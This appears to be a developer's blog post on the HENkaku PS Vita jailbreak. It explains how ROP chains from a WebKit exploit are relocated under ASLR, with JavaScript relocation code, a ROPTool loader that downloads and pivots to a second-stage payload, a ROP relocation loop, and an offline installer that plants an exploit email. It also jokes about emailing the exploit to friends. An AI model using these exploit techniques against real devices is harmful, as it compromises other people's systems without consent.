This is a fairly technical post. If you don’t know what ROP or ASLR is, you probably won’t enjoy it. Proceed with caution!

The problem

After exploiting WebKit on PS Vita we can only execute code via ROP. There’s no way to map executable memory. Due to its nature, a ROP chain depends on where executable code is loaded. Since Vita implements ASLR, we cannot just hardcode a ROP chain, we have to relocate it. As in: rewrite ROP gadget addresses with their actual positions in memory.

ROP relocations

Let’s talk about how relocations are done in the HENkaku exploit.

ROP relocations before/after relocating. I feel sorry for you if you have images disabled.

On the left is a ROP chain how it’s stored in the file. There’s a data section (constant strings and buffers), a code section (ROP stack) and a reloc section (just numbers).

On the right is a ROP chain how it’s written into the stack. For our purposes it’s enough for relocations to simply add a value (e.g. SceWebKit_base, SceLibc_base, rop_data_base) to a rop code word (a word is 4 bytes). Also remember that data section can be stored elsewhere.

So initially I did all relocations in JavaScript, like this:

SceWebKit_base = textareavptr - 0xabb65c;
SceLibc_base = read_mov_r12(SceWebKit_base + 0x85F504) - 0xfa49;
SceLibKernel_base = read_mov_r12(SceWebKit_base + 0x85F464) - 0x9031;
ScePsp2Compat_base = read_mov_r12(SceWebKit_base + 0x85D2E4) - 0x22d65;
SceWebFiltering_base = read_mov_r12(ScePsp2Compat_base + 0x2c688c) - 0x9e5;
SceLibHttp_base = read_mov_r12(SceWebFiltering_base + 0x3bc4) - 0xdc2d;
SceNet_base = read_mov_r12(SceWebKit_base + 0x85F414) - 0x23ED;
SceNetCtl_base = read_mov_r12(SceLibHttp_base + 0x18BF4) - 0xD59;
SceAppMgr_base = read_mov_r12(SceNetCtl_base + 0x9AB8) - 0x49CD;

// snip

for (var i = 0; i < payload.length; ++i, ++addr) {
	if (i == rop_header_and_data_size)
		addr = rop_code_base / 4;

	switch (relocs[i]) {
	case 0:
		u32[addr] = payload[i];
	case 1:
		u32[addr] = payload[i] + rop_data_base;
	case 2:
		u32[addr] = payload[i] + SceWebKit_base;
	case 3:
		u32[addr] = payload[i] + SceLibKernel_base;
	case 4:
		u32[addr] = payload[i] + SceLibc_base;
	case 5:
		u32[addr] = payload[i] + SceLibHttp_base;
	case 6:
		u32[addr] = payload[i] + SceNet_base;
	case 7:
		u32[addr] = payload[i] + SceAppMgr_base;
		alert(i + " " + relocs[i]);

However, the ROP payload was getting large. As a result, the browser exploit was way too unstable (success rate around 30%).

For web-based HENkaku an obvious solution that I’ve implemented was to split the ROP into two parts: the loader and the second stage. The loader creates an additional thread, then request the actual second stage payload over HTTP from URL, providing it module bases. Here’s the loader code:

#include "common.rop"

	#include "functions.rop"

	symbol stack_size = 6 * 1024 * 1024;

	variable thread_id = -1;
	variable http_uid = -1;
	variable stack_base = -1; // second thread will pivot here
	buffer thread_info[0x80];
	buffer download_url[0x200];
	buffer tmp[0x100];
	buffer ldm_buf[7 * 4];

	#include "../build/config.rop"

code : entry
	sceKernelCreateThread("st2", ldm_r1_stuff, 0x10000100, stack_size, 0, 0, 0);
	store(&return, thread_id);
	store(0x7C, thread_info);
	sceKernelGetThreadInfo([thread_id], thread_info);
	// some free space for function calls
	add([thread_info + 0x34], 0x1000);
	store(&return, stack_base);

	strcat(download_url, stage2_url_base);
	snprintf(tmp, 256, "?a1=%x", [stack_base]);
	strcat(download_url, tmp);
	snprintf(tmp, 256, "&a2=%x&a3=%x&a4=%x&", ASLR::SceWebKit+0, ASLR::SceLibKernel+0, ASLR::SceLibc+0);
	strcat(download_url, tmp);
	snprintf(tmp, 256, "&a5=%x&a6=%x&a7=%x&", ASLR::SceLibHttp+0, ASLR::SceNet+0, ASLR::SceAppMgr+0);
	strcat(download_url, tmp);

	sceHttpCreateTemplate("ldr", 2, 1);
	sceHttpCreateConnectionWithURL(&return, download_url, 0);
	sceHttpCreateRequestWithURL(&return, 0, download_url, 0, 0, 0);
	store(&return, http_uid);
	sceHttpSendRequest([http_uid], 0, 0);
	sceHttpReadData([http_uid], [stack_base], stack_size);

	// prepare args for LDM gadget
	store([stack_base], ldm_buf+5*4);
	store(pop_pc, ldm_buf+6*4);

	// start second thread
	sceKernelStartThread([thread_id], 7 * 4, ldm_buf);

	sceKernelWaitThreadEnd([thread_id], 0, 0);

It’s written in ROPTool language. ROPTool in its original form basically allowed you to chain multiple function calls. However, the new version is much more powerful yet the new features aren’t actually used in the HENkaku exploit chain.

I also used GCC preprocessor to allow for stuff like #include and build-time ifs: #if DEBUG #else #endif,

On the side there’s a tiny Go server running which generates relocated payloads for your provided base addresses.

Now, once the loader has downloaded the relocated payload, it pivots the newly created thread to it.

Unfortunately, this method requires internet connection or another device running the ROP relocator for Vita to use. Can we do better?

Offline HENkaku target

Initially I tried to inject HENkaku code into web browser bookmark using the javascript: URL scheme. However, this method did not work, as there seemed to be a fairly low length limit.

The next choice was the Email app. We already knew it executed all JavaScript that came in HTML emails (right? after all, that’s what I’d expect an email app to do – execute JavaScript in emails).

So the idea was to make a homebrew application that would insert a new account into the Email app and “preload” an exploit email. Then the user can still use the Email app if they used it before (bad idea IMO).

The email app database is stored in a SQLite file. After porting SQLite to Vita and injecting the HTML email we still have to deal with ROP chain relocations.

Email app that will happily execute your JavaScript. Pwn your friends by emailing them the exploit

One approach was to just stuff the whole exploit into JS payload and reloc arrays. Which, again, would bring success rate to about 30%. Unacceptable.

The other idea was to relocate ROP using ROP. This would allow to keep the JS payload small (resulting in high success rate) while keeping the exploit offline. Perfect.

ROP relocating ROP

In the end I had to write a loop in ROP that relocates another ROP chain and then jumps to it and, honestly, this sucked. The final ROP chain for relocations looks like this.

The simplified relocatable ROP chain is stored in memory as follows. First, the size in words is determined at build time and hardcoded into the loader .rop script. The ROP binary itself is stored on filesystem as size words followed by size relocs (a word is 4 bytes, a reloc is 1 byte).

The script makes use of the following variables:

  • index: Current index of the loop
  • stored: A temporary location in memory
  • rop_base: A location in memory that stores base address of the ROP chain
  • bases: Pointer to the bases. What’s bases? Remember that every relocation is an uint8_t number. Bases is an array of offsets that you need to apply to the ROP chain to relocate it. It works this way:
// This array is initialized inside the loader ROP chain
bases[0] = 0
bases[1] = SceWebKit_base
bases[2] = SceLibKernel_base
// ...

// then, inside the loop:
rop[i] += bases[relocs[i]]

Here’s the implementation in pseudo code:

  • Step 1: Load current reloc addr from memory
r0 = [index]
r0 += 4 * rop_size_words
r0 += [rop_base]
  • Step 2: Load current reloc base and store to tmp mem
r0 = ldrb[r0] * 4
r0 += bases_base
r0 = ldr[r0]
[stored] = r0
  • Step 3: Load current code word
r0 = [index] * 4
r0 += [rop_base]
  • Step 4: Add current reloc to code word (perform the relocation)
r0 += [stored]
[stored] = r0
  • Step 5: Store relocated code word back into the ropchain
r0 = [index] * 4
r0 += [rop_base]
[r0] = [stored]
  • Step 6: Increment current index
[index] += 1
  • Step 7: Exit the loop if we’ve relocated everything, otherwise loop

This is the hardest part. I used this gadget to perform cmp:

ROM:82340F8C                 CMP             R0, R4
ROM:82340F8E                 BNE             loc_82340F94
ROM:82340F90                 MOVS            R0, #1
ROM:82340F92                 B               locret_82340F96
ROM:82340F94                 MOVS            R0, #0
ROM:82340F96                 POP             {R4-R6,PC}

Pass arguments in R0 and R4. If they are equal, the result in R0 is 1, otherwise 0.

SP direction

Now how do we loop? For a ROP chain SP is incremented as we progress through it: on our platform (and on most platforms) a pop instruction increments SP, a push instruction decrements it. In our simple case, it’s enough to just subtract a constant value from SP in order to loop.

This is not always the case. Remember that a ROP chain that calls functions is destructive. A function call will push something to the stack. This will destroy an “older” part of the ropchain. However, inside my loop I don’t call any functions. So the ROP chain is safe.

So what I do is:

r0 = cmp([index], rop_size_in_words)
  • now r0 is 1 if we’ve relocated everything, 0 otherwise
r0 -= 1
  • now r0 is -1 when we want to loop, 0 otherwise
r0 *= sp_loop_offset
  • if it was 0 it’s still 0, otherwise a negative offset that we add to sp to loop
r0 += constant_value
  • this is required due to how we fetch old sp value
r0 += sp
sp = r0
  • we will either loop here, or exit

Now that the ROP chain is relocated properly, just jump to it and execute the original HENkaku exploit.

One more thing

We still need to load the second stage from within the first stage. However, the WebKit inside the Email app is sandboxed. It cannot access most of filesystem. Thankfully, one location we can write to, photo0:, is accessible. This is just an alias for ux0:picture.

So what we need to do in the Offline Installer:

  • Create new email account
  • Add new HTML email to it
  • Drop exploit HTML to ux0:email/message/00/00/exploit.html. This HTML will be loaded when you open the email.
  • Drop second stage relocatable ROP chain to ux0:picture/henkaku.bin. This will be loaded by the first stage ROP chain from photo0:henkaku.bin.

You can check out offlineInstaller code here.


That’s it.